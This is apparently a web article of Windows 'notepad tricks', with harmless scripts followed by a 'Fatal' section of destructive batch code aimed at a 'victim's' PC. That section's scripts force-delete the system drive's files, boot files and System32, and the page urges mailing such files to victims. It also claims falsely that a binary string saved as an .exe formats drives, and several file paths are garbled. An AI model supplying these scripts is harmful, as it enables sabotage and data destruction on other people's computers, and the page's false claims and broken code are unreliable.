Notepad is the most powerful yet simple text editor which comes with the Windows operating system. Its files are saved in txt format which is widely compatible with other text editors. But don’t get fooled with its simplicity, It can be used to create files of any file extensions like HTML, bat, VBS, etc. So here I have shared some best notepad tricks and hacks which you can use to amaze your friends.
Contents
Cool Notepad Tricks and Hacks
#1 – Shut Down Your Computer Using Notepad
This is something which I personally use. This trick will shut down your PC in just a single click. So there is no need to follow the tradition of going to start and then selecting shut down.
- Open notepad and paste the following code :
@echo off
msg * Hey, there I am going to shut down.
shutdown -c “Sleep Tight” –s
- Now save the file with the following name and extension : shutdown.bat
- Make sure to select All files (*.*) in Save as type.
Note – You have to always select All Files(*.*) while saving the files with other extension otherwise any of the notepad trick won’t work.
#2 – Create a Virus in Notepad
This code is often referred as EICAR code which is an abbreviation of European Institute for Computer Antivirus Research. This notepad hack is widely used to check if your antivirus program is working or not.
- Open notepad and paste the following code :
X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
- Save the file with .com extension, For Ex – myvirus.com
- If your antivirus works fine then this virus will get detected within few seconds.
#3 – Create a Diary in Notepad
This trick automatically adds a date whenever you add something to the text file. It can be used as a personal diary or a logbook.
- Launch Notepad and type .LOG in the first line and then on the next line, you can write your notes as shown below.
- Now simply save the file as any name you want.
- Whenever you will open the file again then you can see the date being inserted above your notes.
#4 – See Matrix Raining on Your Screen
- Launch Notepad and paste the following code :
@echo off
:a
color 2
echo 1 1 1 0 1 0 0 0 1 1 1 1 0 0 0 1 1 0 0 1 0 0 0 1 1 0 1 0 1 0 0 0 1 1 1 1
ping localhost -n 1 > nul
echo 1 1 0 1 1 1 0 0 0 1 0 1 a f h 0 0 0 1 0 1 1 0 0 1 1 1 0 0 1 0 1 0 0 1 1 0
echo 1 0 0 1 1 0 9 8 1 2 0 1 9 9 2 1 1 1 0 0 1 0 1 1 1 0 1 1 0 1 0 0 0 1 0 1 1
ping localhost -n 1 > nul
echo 0 1 0 0 0 1 0 0 0 1 0 0 0 1 0 1 0 0 1 0 1 0 1 1 0 1 0 0 0 01 0 1 0 0 1 0
ping localhost -n 1 > nul
echo 1 0 1 1 1 0 1 1 0 9 1 1 2 1 1 0 9 1 0 5 7 7 8 7 8 1 3 2 1 2 1 2 3 2 1 3 4
ping localhost -n 1 > nul
echo 1 1 1 0 1 0 0 1 0 0 0 1 1 1 0 0 1 1 1 4 1 2 1 1 2 0 1 0 1 2 2 1 0 1 1 0 1
goto a
- Save the file as Matrixtrick.bat, Make sure to include .bat extension.
- Open the file and you could see the matrix effect.
#5 – Open Notepad Continuously (Notepad Loop)
This trick will simultaneously open notepad again and again. It can be quite dangerous as your system may get hanged, So only this trick on your friend’s computer.
- Open notepad and paste the following code in it :
@ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top
- Save this file with .bat extension, For example – NotepadHack.bat
Fatal Notepad Tricks and Hacks
These notepad tricks are very dangerous so try at your own risk. I am not responsible if anything happened to your or anyone’s computer. Don’t use these tricks to crash someone’s PC. All of these are just for educational purpose.
#1 – Hit Enter Continuously
This trick simultaneously presses enter again and again. This is not a very fatal trick, But if you wish to annoy someone then you can use this trick.
- Launch Notepad and paste the code given below :
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
- Save this file with .vbs extension, For Ex – Enter.vbs
- Open the file and get ready to be annoyed.
#2 – Delete System Drive From Your Victim’s PC
- Open notepad and paste the following code :
@ECHO OFF
DEL %SYSTEMDRIVE%*.*/F/S/Q
SHUTDOWN -R -F -T 00
- Save the file with .bat extension, For Ex – Deletesystem.bat
- Open the file at your own risk!
#3 – Shut Down Victims Computer Forever
This trick will shut down your computer and deletes a system file which is required to boot your PC. Once the file is deleted the computer becomes totally dead and can only be recovered after installing windows again.
- Open notepad and paste the following code :
@ECHO OFF
ATTRIB -R -S -H C:AUTOEXEC.BAT
DEL C:AUTOEXEC.BAT
ATTRIB -R -S -H C:BOOT.INI
DEL C:BOOT.INI
ATTRIB -R -S -H C:NTLDR
DEL C:NTLDR
ATTRIB -R -S -H C:WINDOWSWIN.INI
DEL C:WINDOWSWIN.INI
- Now save the file with a .bat extension, For Ex – Donotopen.bat
- Don’t dare to open the file, Otherwise, your PC will be totally damaged.
#4 – Format Victim’s Computer
This will totally wipe each and every drive present on the victim’s computer. If you want to format someone’s hard drive then this trick is for you.
- Launch notepad and paste the following code :
SAYS01001011000111110010010101010101010000011111100000
- Save the file with virus.exe name. Of course, you can change the name but don’t forget to save the file with .exe extension.
- Now just mail or send the file to your victim. Whenever he open’s the file all the data on his computer will be lost.
#5 – Delete System32 From Victim’s Computer
- As usually open notepad and paste the following code :
DEL C:WINDOWSSYSTEM32*.*/Q
- Save the file with .bat extension, For Ex – DestroyPC.bat